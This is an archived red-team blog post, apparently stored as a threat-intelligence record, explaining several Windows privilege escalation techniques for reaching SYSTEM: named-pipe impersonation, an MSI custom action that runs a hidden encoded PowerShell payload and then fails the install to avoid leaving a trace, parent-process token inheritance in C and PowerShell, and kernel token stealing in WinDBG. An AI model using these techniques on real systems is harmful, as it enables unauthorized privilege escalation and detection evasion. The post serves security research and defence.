{
	"id": "cd87dfe4-1f3e-4942-8de9-08344277b601",
	"created_at": "2026-04-06T00:16:28.113103Z",
	"updated_at": "2026-04-10T03:20:41.751454Z",
	"deleted_at": null,
	"sha1_hash": "a86c818afd2cac44673f153abddb35349bb2cef9",
	"title": "Alternative methods of becoming SYSTEM",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 550139,
	"plain_text": "Alternative methods of becoming SYSTEM\r\nBy Adam Chester\r\nArchived: 2026-04-05 14:00:36 UTC\r\n« Back to home\r\nPosted on 20th November 2017\r\nFor many pentesters, Meterpreter’s getsystem command has become the default method of gaining SYSTEM account\r\nprivileges, but have you ever have wondered just how this works behind the scenes?\r\nIn this post I will show the details of how this technique works, and explore a couple of methods which are not quite as\r\npopular, but may help evade detection on those tricky redteam engagements.\r\nMeterpreter’s “getsystem”\r\nMost of you will have used the getsystem module in Meterpreter before. For those that haven’t, getsystem is a module\r\noffered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account,\r\nusually from local Administrator.\r\nBefore continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a\r\nuseful method provided by Windows in which a process can impersonate another user’s security context. For example, if a\r\nprocess acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular\r\nuser, the process can impersonate that user account and allow Windows to enforce security.\r\nTo facilitate impersonation, Windows exposes numerous native API’s to developers, for example:\r\nImpersonateNamedPipeClient\r\nImpersonateLoggedOnUser\r\nReturnToSelf\r\nLogonUser\r\nOpenProcessToken\r\nOf these, the ImpersonateNamedPipeClient API call is key to the getsystem module’s functionality, and takes credit for\r\nhow it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process\r\nwhich connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example,\r\nif a process belonging to “victim” connects and writes to a named pipe belonging to “attacker”, the attacker can call\r\nImpersonateNamedPipeClient to retrieve an impersonation token belonging to “victim”, and therefore impersonate this\r\nuser. Obviously, this opens up a huge security hole, and for this reason a process must hold the SeImpersonatePrivilege\r\nprivilege.\r\nThis privilege is by default only available to a number of high privileged users:\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 1 of 8\n\nThis does however mean that a local Administrator account can use ImpersonateNamedPipeClient , which is exactly how\r\ngetsystem works:\r\n1. getsystem creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.\r\n2. getsystem spawns a process, which creates a named pipe and awaits a connection from the service.\r\n3. The Windows service is started, causing a connection to be made to the named pipe.\r\n4. The process receives the connection, and calls ImpersonateNamedPipeClient , resulting in an impersonation token\r\nbeing created for the SYSTEM user.\r\nAll that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM\r\nprivileged process.\r\nTo show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will\r\nspawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account\r\nhere.\r\nTo see how this works when executed, a demo can be found below:\r\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nNow that we have an idea just how getsystem works, let’s look at a few alternative methods which can allow you to grab\r\nSYSTEM.\r\nMSIExec method\r\nFor anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to\r\nspawn a SYSTEM process:\r\nThere is something nice about embedding a Powershell one-liner in a .MSI, nice alternative way to execute as\r\nSYSTEM :) pic.twitter.com/cXAK6ntpcJ\r\n— Adam (@xpn) November 6, 2017\r\nThis came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering\r\nmalware packaged within a MSI file.\r\nIt turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install\r\nprocess. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI\r\nfiles from XML build scripts.\r\nThe WIX Framework is made up of several tools, but the two that we will focus on are:\r\ncandle.exe - Takes a .WIX XML file and outputs a .WIXOBJ\r\nlight.exe - Takes a .WIXOBJ and creates a .MSI\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 2 of 8\n\nReviewing the documentation for WIX, we see that custom actions are provided, which give the developer a way to\nlaunch scripts and processes during the install process. Within the CustomAction documentation, we see something\ninteresting:\nThis documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action\nwith an Impersonate attribute set to false .\nWhen crafted, our WIX file will look like this:\n?xml version=\"1.0\"?\u003e\npowershell.exe -nop -w hidden -e\naQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAG\ninvalid vbs to fail install\nA lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:\nhttps://blog.xpnsec.com/becoming-system/\nPage 3 of 8\n\n\u003cProperty Id=\"cmdline\"\u003epowershell...\u003c/Property\u003e\r\n\u003cCustomAction Id=\"SystemShell\" Execute=\"deferred\" Directory=\"TARGETDIR\" ExeCommand='[cmdline]' Return=\"ignore\" Impersonate\r\nThis custom action is responsible for executing our provided cmdline as SYSTEM (note the Property tag, which is a\r\nnice way to get around the length limitation of the ExeCommand attribute for long Powershell commands).\r\nAnother trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer\r\nfrom adding a new entry to “Add or Remove Programs” which is shown here by executing invalid VBScript:\r\n\u003cCustomAction Id=\"FailInstall\" Execute=\"deferred\" Script=\"vbscript\" Return=\"check\"\u003e\r\n invalid vbs to fail install\r\n\u003c/CustomAction\u003e\r\nFinally, we have our InstallExecuteSequence tag, which is responsible for executing our custom actions in order:\r\n\u003cInstallExecuteSequence\u003e\r\n \u003cCustom Action=\"SystemShell\" After=\"InstallInitialize\"\u003e\u003c/Custom\u003e\r\n \u003cCustom Action=\"FailInstall\" Before=\"InstallFiles\"\u003e\u003c/Custom\u003e\r\n\u003c/InstallExecuteSequence\u003e\r\nSo, when executed:\r\n1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.\r\n2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install\r\nprocess with an error.\r\nTo compile this into a MSI we save the above contents as a file called “msigen.wix”, and use the following commands:\r\ncandle.exe msigen.wix\r\nlight.exe msigen.wixobj\r\nFinally, execute the MSI file to execute our payload as SYSTEM:\r\nPROC_THREAD_ATTRIBUTE_PARENT_PROCESS method\r\nThis method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to\r\nbecome “Trusted Installer”.\r\nAgain, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:\r\nLoving @tiraniddo New-Win32Process cmdlet for a nice clean way to grab SYSTEM user account.\r\nhttps://t.co/bEFYocOAKnpic.twitter.com/aBzzho3jKS\r\n— Adam (@xpn) November 2, 2017\r\nHow this technique works is by leveraging the CreateProcess Win32 API call, and using its support for assigning the\r\nparent of a newly spawned process via the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.\r\nIf we review the documentation of this setting, we see the following:\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 4 of 8\n\nSo, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a\r\ncool way to grab the SYSTEM account via the process token.\r\nWe can create a new process and set the parent with the following code:\r\nint pid;\r\nHANDLE pHandle = NULL;\r\nSTARTUPINFOEXA si;\r\nPROCESS_INFORMATION pi;\r\nSIZE_T size;\r\nBOOL ret;\r\n// Set the PID to a SYSTEM process PID\r\npid = 555;\r\nEnableDebugPriv();\r\n// Open the process which we will inherit the handle from\r\nif ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) {\r\nprintf(\"Error opening PID %d\\n\", pid);\r\nreturn 2;\r\n}\r\n// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute\r\nZeroMemory(\u0026si, sizeof(STARTUPINFOEXA));\r\nInitializeProcThreadAttributeList(NULL, 1, 0, \u0026size);\r\nsi.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(\r\nGetProcessHeap(),\r\n0,\r\nsize\r\n);\r\nInitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, \u0026size);\r\nUpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, \u0026pHandle, sizeof(HANDLE), NULL, NUL\r\nsi.StartupInfo.cb = sizeof(STARTUPINFOEXA);\r\n// Finally, create the process\r\nret = CreateProcessA(\r\n\"C:\\\\Windows\\\\system32\\\\cmd.exe\",\r\nNULL,\r\nNULL,\r\nNULL,\r\ntrue,\r\nEXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,\r\nNULL,\r\nNULL,\r\nreinterpret_cast\u003cLPSTARTUPINFOA\u003e(\u0026si),\r\n\u0026pi\r\n);\r\nif (ret == false) {\r\nprintf(\"Error creating new process (%d)\\n\", GetLastError());\r\nreturn 3;\r\n}\r\nWhen compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM\r\nsuch as lsass.exe:\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 5 of 8\n\nThe source for this technique can be found here.\r\nAlternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:\r\nNew-Win32Process cmd.exe -CreationFlags Newconsole -ParentProcess (Get-NtProcess -Name lsass.exe)\r\nBonus Round: Getting SYSTEM via the Kernel\r\nOK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it\r\ngoes some way to show just how Windows is actually managing process tokens.\r\nOften you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space,\r\nwith the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on\r\nexploit-db here), we can see a number of references to manipulating access tokens.\r\nFor this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the\r\nprivileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the\r\nKernel debugger connection as this is covered in multiple places for multiple hypervisors.)\r\nOnce you have WinDBG connected, we first need to gather information on our running process which we want to elevate to\r\nSYSTEM. This can be done using the !process command:\r\n!process 0 0 cmd.exe\r\nReturned we can see some important information about our process, such as the number of open handles, and the process\r\nenvironment block address:\r\nPROCESS fffffa8002edd580\r\n SessionId: 1 Cid: 0858 Peb: 7fffffd4000 ParentCid: 0578\r\n DirBase: 09d37000 ObjectTable: fffff8a0012b8ca0 HandleCount: 21.\r\n Image: cmd.exe\r\nFor our purpose, we are interested in the provided PROCESS address (in this example fffffa8002edd580 ), which is\r\nactually a pointer to an EPROCESS structure. The EPROCESS structure (documented by Microsoft here) holds important\r\ninformation about a process, such as the process ID and references to the process threads.\r\nAmongst the many fields in this structure is a pointer to the process’s access token, defined in a TOKEN structure. To view\r\nthe contents of the token, we first must calculate the TOKEN address. On Windows 7 x64, the process TOKEN is located at\r\noffset 0x208 , which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer\r\nwith the following command:\r\nkd\u003e dq fffffa8002edd580+0x208 L1\r\nThis returns the token address as follows:\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 6 of 8\n\nfffffa80`02edd788 fffff8a0`00d76c51\r\nAs the token address is referenced within a EX_FAST_REF structure, we must AND the value to gain the true pointer\r\naddress:\r\nkd\u003e ? fffff8a0`00d76c51 \u0026 ffffffff`fffffff0\r\nEvaluate expression: -8108884136880 = fffff8a0`00d76c50\r\nWhich means that our true TOKEN address for cmd.exe is at fffff8a000d76c50 . Next we can dump out the TOKEN\r\nstructure members for our process using the following command:\r\nkd\u003e !token fffff8a0`00d76c50\r\nThis gives us an idea of the information held by the process token:\r\nUser: S-1-5-21-3262056927-4167910718-262487826-1001\r\nUser Groups:\r\n 00 S-1-5-21-3262056927-4167910718-262487826-513\r\n Attributes - Mandatory Default Enabled\r\n 01 S-1-1-0\r\n Attributes - Mandatory Default Enabled\r\n 02 S-1-5-32-544\r\n Attributes - DenyOnly\r\n 03 S-1-5-32-545\r\n Attributes - Mandatory Default Enabled\r\n 04 S-1-5-4\r\n Attributes - Mandatory Default Enabled\r\n 05 S-1-2-1\r\n Attributes - Mandatory Default Enabled\r\n 06 S-1-5-11\r\n Attributes - Mandatory Default Enabled\r\n 07 S-1-5-15\r\n Attributes - Mandatory Default Enabled\r\n 08 S-1-5-5-0-2917477\r\n Attributes - Mandatory Default Enabled LogonId\r\n 09 S-1-2-0\r\n Attributes - Mandatory Default Enabled\r\n 10 S-1-5-64-10\r\n Attributes - Mandatory Default Enabled\r\n 11 S-1-16-8192\r\n Attributes - GroupIntegrity GroupIntegrityEnabled\r\nPrimary Group: S-1-5-21-3262056927-4167910718-262487826-513\r\nPrivs:\r\n 19 0x000000013 SeShutdownPrivilege Attributes -\r\n 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default\r\n 25 0x000000019 SeUndockPrivilege Attributes -\r\n 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -\r\n 34 0x000000022 SeTimeZonePrivilege Attributes -\r\nSo how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged\r\nprocess, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:\r\nkd\u003e !process 0 0 lsass.exe\r\nkd\u003e dq \u003cLSASS_PROCESS_ADDRESS\u003e+0x208 L1\r\nkd\u003e ? \u003cLSASS_TOKEN_ADDRESS\u003e \u0026 FFFFFFFF`FFFFFFF0\r\nkd\u003e !process 0 0 cmd.exe\r\nkd\u003e eq \u003cCMD_EPROCESS_ADDRESS+0x208\u003e \u003cLSASS_TOKEN_ADDRESS\u003e\r\nTo see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated\r\nfrom a low level user, to SYSTEM privileges:\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 7 of 8\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nSource: https://blog.xpnsec.com/becoming-system/\r\nhttps://blog.xpnsec.com/becoming-system/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://blog.xpnsec.com/becoming-system/"
	],
	"report_names": [
		"becoming-system"
	],
	"threat_actors": [],
	"ts_created_at": 1775434588,
	"ts_updated_at": 1775791241,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a86c818afd2cac44673f153abddb35349bb2cef9.pdf",
		"text": "https://archive.orkl.eu/a86c818afd2cac44673f153abddb35349bb2cef9.txt",
		"img": "https://archive.orkl.eu/a86c818afd2cac44673f153abddb35349bb2cef9.jpg"
	}
}